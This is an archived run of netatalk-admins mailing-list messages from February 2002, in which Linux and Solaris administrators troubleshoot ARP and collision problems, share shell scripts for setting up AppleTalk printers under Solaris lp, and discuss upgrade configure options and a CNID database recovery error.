Content-Disposition: inline
In-Reply-To: <ELEEKGAGFFNGOEHDIHKDKEDJCAAA.sysadmin@netz-leistung.de>
User-Agent: Mutt/1.3.23i
X-Lotto: Suggested Lotto numbers (Austrian 6 out of 45): 7 9 16 28 34 41

Hi,

Have you tried changing the port on your hub/switch (I guess that
it's a hub because there are collisions, and way too many at that)?
Another thing to check is the cabling.  Try one or the other when
the problem reappears.

Cheers,

Dejan

On Tue, Feb 12, 2002 at 11:32:01PM +0100, Markus Koch wrote:
> Hi
> 
> One of my servers (PII400/440BX/Intel EtherexpressPro or Realtek and SCSI on
> board / 2.4.16) suddenly drops all connections to it (appletalk and samba).
> The server is not even reachable by pings. During the workday, this persists
> for 1 to 5 min and then everything is fine again. At night or on weekends if
> nobody is around, this issue could persist for a whole day.
> I sniffed all broadcast and server specific traffic from a second linux
> computer within the same network (logs
> are attached). It looks to me as if the server suddenly forgets all arp
> entries and sends out arp requests. The weird thing is, that he does not
> seem to recognize the arp answers but keeps on asking. Is there anybbody
> with an isea? I tried almost everything: new NIC, new kernel, new netatalk,
> etc. All other servers with similar harware and linux systems but without
> appletalk are fine.
> 
> thanks
> 
> markus
> 
> sniffed from 192.168.1.1
> (server in question is 192.168.1.2  192.168.1.104 is a win95 that is active
> but does not answer)
> 
> 159447 16:58:38.2394 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159448 16:58:38.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159450 16:58:39.2395 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159451 16:58:39.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159452 16:58:40.2396 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159453 16:58:40.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159454 16:58:41.2396 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159455 16:58:41.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159457 16:58:42.2397 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159458 16:58:42.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159459 16:58:43.2398 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159460 16:58:43.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159461 16:58:43.7198 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159462 16:58:43.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159463 16:58:44.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159464 16:58:44.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159466 16:58:45.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159467 16:58:45.7210 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159468 16:58:45.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159469 16:58:46.0084 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c
> 159471 16:58:46.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159472 16:58:46.9902 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c
> 1159475 16:58:47.9901 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159476 16:58:47.9903 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c159574
> (snipped)
> 159579 17:01:03.2613 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159580 17:01:03.2614 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159581 17:01:03.7204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159582 17:01:04.2592 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159583 17:01:04.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159584 17:01:05.2593 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159585 17:01:05.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159586 17:01:06.8494 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159587 17:01:06.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159588 17:01:07.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159589 17:01:07.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159590 17:01:08.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159591 17:01:08.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159592 17:01:08.8498 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159593 17:01:09.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159594 17:01:10.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159595 17:01:13.2681 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159596 17:01:13.2682 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159597 17:01:14.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159598 17:01:14.2599 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159599 17:01:15.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159600 17:01:15.2600 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159601 17:01:16.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.2
> 159602 17:01:17.3301 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159603 17:01:17.3311 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159604 17:01:17.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.2
> 159605 17:01:18.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159606 17:01:18.3312 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159607 17:01:18.6802 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.2
> 159608 17:01:19.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159609 17:01:19.3313 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159610 17:01:19.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159611 17:01:19.6005 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c
> 159612 17:01:20.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 
> 
> ifconfig
> eth0      Link encap:Ethernet  HWaddr 00:E0:18:90:57:31
>           inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
>           EtherTalk Phase 2 addr:65280/94
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>           RX packets:349589 errors:0 dropped:0 overruns:0 frame:0
>           TX packets:208378 errors:0 dropped:0 overruns:0 carrier:0
>           collisions:132288
> 

From netatalk.administrators-errors@umich.edu  Wed Feb 13 08:10:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA20357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 08:10:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA11210
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 08:10:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA11207
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 08:10:27 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA11199
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 08:10:26 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g1DDAOx24317;
          Wed, 13 Feb 2002 13:10:24 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100303b890122d2264@[192.168.195.62]>
In-Reply-To: <200202130155.UAA07239@galaxy.tbird.com>
References: <200202130155.UAA07239@galaxy.tbird.com>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Wed, 13 Feb 2002 13:10:23 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re:Printing under Solaris
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

In reply to rnf's message of the 12/02/2002 at 20:55 -0500,


>Can anyone point me to some documentation on how to set this up?  The FAQ's
>don't cover if for Solaris.

I got the following from somewhere a long time ago; can't remember 
where or who wrote them originally. One is a filter to be used as a 
"model" for lp; th eother is a script that installs a new printer 
into the lp system. You will need to modilfy them to suit your 
environment:

First the script; save this as "add_at_printer.sh" or some such:
---
#!/bin/sh

ATALKHOME=/usr/local

ATPRINTER=$1
UXPRINTER=$2

if [ ! -r /etc/lp/filter.table ]; then
	echo "Initializing of default printer filters..."
	for f in `ls /etc/lp/fd | sed 's/.fd$//'`; do
		lpfilter -f $f -F/etc/lp/fd/$f.fd
	done
fi

if lpfilter -f atalk -l > /dev/null 2>&1; then
	echo "AppleTalk printer filter is already defined."
else
	echo "Defining AppleTalk printer filter ..."
	cat > /etc/lp/fd/atalk.fd << EOF

Input types: postscript
Output types: PS
Printer types: AppleTalk
Printers: any
Filter type: slow
Command: /usr/bin/cat
EOF
	lpfilter -f atalk -F /etc/lp/fd/atalk.fd
fi

if [ ! -f /usr/share/lib/terminfo/A/AppleTalk ]; then
	echo "Defining terminfo for AppleTalk printers ..."
	cat > /var/tmp/terminfo << EOF
AppleTalk,
	cols#80, lines#66,
	cpi=null, csnm=^D, lpi=null, scs=^D, slines=^D, u9=^D,
EOF
	tic /var/tmp/terminfo
         rm /var/tmp/terminfo
fi

LOCKSDIR=/var/spool/lp/tmp/AppleTalk
if [ ! -d $LOCKSDIR ]; then
	mkdir -m 0771	$LOCKSDIR
	chown lp	$LOCKSDIR
	chgrp lp	$LOCKSDIR
fi
PSEUDODEVICE=$LOCKSDIR/$UXPRINTER
touch		$PSEUDODEVICE
chown lp	$PSEUDODEVICE
chgrp lp	$PSEUDODEVICE
chmod 0600	$PSEUDODEVICE

echo "(Re)defining $UXPRINTER ..."
(	lpadmin -p $UXPRINTER -D "$UXPRINTER" \
		-T AppleTalk \
		-v $PSEUDODEVICE \
		-I PS \
		-i $ATALKHOME/etc/lp2pap.sh \
		-o nobanner \
		-A mail && \
         echo $ATPRINTER > /etc/lp/printers/$UXPRINTER/.paprc
         #echo $ATPRINTER > /var/spool/lp/tmp/cu/.paprc
         chown lp /etc/lp/printers/$UXPRINTER/.paprc
         chgrp lp /etc/lp/printers/$UXPRINTER/.paprc
         #chown lp /var/spool/lp/tmp/cu/.paprc
         #chgrp lp /var/spool/lp/tmp/cu/.paprc
	accept $UXPRINTER && \
	enable $UXPRINTER \
) || exit

---

Next the filter:
---save as "appletalk" or similar---
#
# Change APPLETALK_PRINTER to match your printer's appletalk name
# If you don't know the name, use /opt/atalk/bin/nbplkup | grep Laser
#
APPLETALK_PRINTER='Tech support:LaserWriter'
PRINTER_NAME='tech_support'

#################################################################
#!/usr/bin/sh
# LP job parameters
job=$1
user1=$2
user=`echo $2 | line | cut -d! -f2`
sysname=`echo $2 | line | cut -d! -f1`
title=$3
copy=$4
options=$5
shift 5
files="$*"
logfile='/tmp/$PRINTER_NAME.log'
if [ ! -f $logfile ]; then
	touch $logfile
	chmod a+w $logfile
fi
#
# The next line may need to be changed so that the pap executable
# is found on your system.
#
/usr/local/atalk/bin/pap -p "$APPLETALK_PRINTER"  $files  2>&1 >> $logfile
#
exit 0
---


The way to use them is to do

sh add_at_printer appletalk lw

where param 1 is the "model" script and param2 is whatever you wnat 
to call th eprinter in the Unix system.

If anyone can remember who wrote these or where they came from 
perhaps it could be added to the FAQ (there used to be a link from 
the netatalk home page...).


-- 
Sak Wathanasin
Network Analysis Limited           http://www.network-analysis.ltd.uk

Phone: (+44) 24 76 41 99 96     Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Wed Feb 13 08:32:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA21392
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 08:32:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA27280
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 08:32:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA27275
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 08:32:31 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA27251
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 08:32:29 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA12126
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 14:59:20 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 13 Feb 2002 14:32:55 +0100
Subject: Re: Printing under Solaris
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B8902996.1BC93%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100303b890122d2264@[192.168.195.62]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 13 Feb 2002 13:10:23 +0000, Sak Wathanasin wrote:

> If anyone can remember who wrote these or where they came from

A quick google search let me believe, that the scripts have been supplied
with CAP:

    <http://www.cit.uws.edu.au/pub/unix/misc/appletalk/cap60.patch194>,
    <http://www.netsys.com/sunmgr/1997-04/msg00026.html>

and modified for use with Netatalk:

    <http://www.umich.edu/~rsug/netatalk/archive/admins/1998/0867.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 13 08:52:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA22147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 08:52:19 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA23136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 08:52:19 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA23125
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 08:52:18 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA23085
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 08:52:16 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id OAA04904;
	Wed, 13 Feb 2002 14:52:13 +0100
Message-ID: <3C6A6F93.9D7CC067@euc.de>
Date: Wed, 13 Feb 2002 14:52:20 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: netatalk 1.5.1.1 installation
References: <B88077D3.1A727%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA22147

Thanks Thomas,

it was nearly as easy as setting up a mac :)


Thomas Kaiser wrote:
> 
> am 01.02.2002 16:31 Uhr schrieb Mac Conin:
> 
> > The system was configured with:
> > ./configure --enable-suse --with-shadow --with-pam --with-flock-locks
> > --with-uams-path=/etc/atalk/uams --with-config-dir=/etc/atalk --enable-lastdid
> >
> >
> > What is the best way for us to 'upgrade to the latest version
> > without too much hassle?
> 
> I would install the most recent version of netatalk in another location, eg.
> /usr/local/netatalk-1.5.1
> 
> If you first do a "mv /etc/init.d/atalk /etc/init.d/atalk-1.5pre6" and then
> configure with:
> 
> ./configure --enable-suse --with-shadow --with-pam --with-flock-locks
> --prefix=/usr/local/netatalk-1.5.1 --with-config-dir=/etc/atalk
> --with-uams-path=/usr/local/netatalk-1.5.1/etc/netatalk/uams
> --with-did=last
> 
> you can switch between the pre-release and 1.5 easily :-)
> 
> Regards,
> 
> Thomas

-- 


mit freundlichen grüssen

........................................................

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln            
Neue Telefonnummern!....................................
CONIN - Agentur                  tel : +49-221-58 007-10
EUC Online Service GmbH          tel : +49-221-58 007-20
punktum postscript-Service       tel : +49-221-58 007-70
Fax Zentrale                     tel : +49-221-58 007-58
........................................................

From netatalk.administrators-errors@umich.edu  Wed Feb 13 09:48:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA25004
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 09:48:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04071
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 09:48:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04068
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 09:48:07 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04047
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 09:48:06 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Wed, 13 Feb 2002 09:48:05 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f0510031eb8902c3d2d3e@[192.168.42.39]>
In-Reply-To: <946811523gjermund@mac.com>
References: <946811523gjermund@mac.com>
Date: Wed, 13 Feb 2002 09:48:55 -0500
To: <netatalk-admins@umich.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: DB_RUNRECOVERY
Content-Type: text/plain; charset="us-ascii"

*chirp chirp* quiet around here lately...

i recently rebuilt netatalk on my redhat server to use cnid (and thus, DB3) as i was getting heinous DID conflicts using the default method.

so now, after a few months of otherwise peachy performance, i am seeing this:


Feb 13 09:33:31 localhost afpd[11994]: cnid_lookup: txn_checkpoint: DB_RUNRECOVERY: Fatal error, run database recovery
Feb 13 09:33:31 localhost afpd[11994]: cnid_add: Unable to lookup rootinfo: DB_RUNRECOVERY: Fatal error, run database recovery


there's no performance or other weirdness from the client side (or if there is, they're not telling me...)


a: what is going on here? i don't know dick diddly about DB3

b: how do i fix it? it says to run recovery, but i can't seem to find a command to run that will actually run any kind of recovery....


any help would be greatly appreciated.

From netatalk.administrators-errors@umich.edu  Wed Feb 13 10:00:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA25776
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 10:00:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA02927
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 10:00:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA02912
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 10:00:27 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA02887
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 10:00:26 -0500 (EST)
Received: (qmail 15141 invoked by alias); 13 Feb 2002 14:58:21 -0000
Received: (qmail 15128 invoked from network); 13 Feb 2002 14:58:21 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 13 Feb 2002 14:58:21 -0000
Subject: Re: DB_RUNRECOVERY
From: Matthew Keller <kellermg@potsdam.edu>
To: Charles Mangin <charles@burneydesign.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <f0510031eb8902c3d2d3e@[192.168.42.39]>
References: <946811523gjermund@mac.com> 
	<f0510031eb8902c3d2d3e@[192.168.42.39]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 13 Feb 2002 10:00:27 -0500
Message-Id: <1013612427.7949.69.camel@comp10574>
Mime-Version: 1.0


	Don't use CNID unless you understand the ramifications of enabling an
"experimental" service. It's getting better, but still has issues.

On Wed, 2002-02-13 at 09:48, Charles Mangin wrote:
> *chirp chirp* quiet around here lately...
> 
> i recently rebuilt netatalk on my redhat server to use cnid (and thus, DB3) as i was getting heinous DID conflicts using the default method.
> 
> so now, after a few months of otherwise peachy performance, i am seeing this:
> 
> 
> Feb 13 09:33:31 localhost afpd[11994]: cnid_lookup: txn_checkpoint: DB_RUNRECOVERY: Fatal error, run database recovery
> Feb 13 09:33:31 localhost afpd[11994]: cnid_add: Unable to lookup rootinfo: DB_RUNRECOVERY: Fatal error, run database recovery
> 
> 
> there's no performance or other weirdness from the client side (or if there is, they're not telling me...)
> 
> 
> a: what is going on here? i don't know dick diddly about DB3
> 
> b: how do i fix it? it says to run recovery, but i can't seem to find a command to run that will actually run any kind of recovery....
> 
> 
> any help would be greatly appreciated.
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Feb 13 10:02:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA25886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 10:02:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA18603
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 10:02:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA18594
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 10:02:42 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA18546
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 10:02:41 -0500 (EST)
Received: (qmail 16274 invoked by alias); 13 Feb 2002 15:00:34 -0000
Received: (qmail 16260 invoked from network); 13 Feb 2002 15:00:34 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 13 Feb 2002 15:00:34 -0000
Subject: Re: DB_RUNRECOVERY
From: Matthew Keller <kellermg@potsdam.edu>
To: Charles Mangin <charles@burneydesign.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <1013612427.7949.69.camel@comp10574>
References: <946811523gjermund@mac.com> 
	<f0510031eb8902c3d2d3e@[192.168.42.39]> 
	<1013612427.7949.69.camel@comp10574>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 13 Feb 2002 10:02:40 -0500
Message-Id: <1013612560.7949.72.camel@comp10574>
Mime-Version: 1.0


	Wow, on re-reading my response I realized it was rather rude- Public
and humble apologies for that. Very much not my intention. *slaps self*
	CNID is currently not stable, and is not recommended for use by
non-developers/testers and certainly not in a production environment.
It'll be real cool when it's done but in the mean-time, it's kinda icky
for general use.

On Wed, 2002-02-13 at 10:00, Matthew Keller wrote:
> 
> 	Don't use CNID unless you understand the ramifications of enabling an
> "experimental" service. It's getting better, but still has issues.
> 
> On Wed, 2002-02-13 at 09:48, Charles Mangin wrote:
> > *chirp chirp* quiet around here lately...
> > 
> > i recently rebuilt netatalk on my redhat server to use cnid (and thus, DB3) as i was getting heinous DID conflicts using the default method.
> > 
> > so now, after a few months of otherwise peachy performance, i am seeing this:
> > 
> > 
> > Feb 13 09:33:31 localhost afpd[11994]: cnid_lookup: txn_checkpoint: DB_RUNRECOVERY: Fatal error, run database recovery
> > Feb 13 09:33:31 localhost afpd[11994]: cnid_add: Unable to lookup rootinfo: DB_RUNRECOVERY: Fatal error, run database recovery
> > 
> > 
> > there's no performance or other weirdness from the client side (or if there is, they're not telling me...)
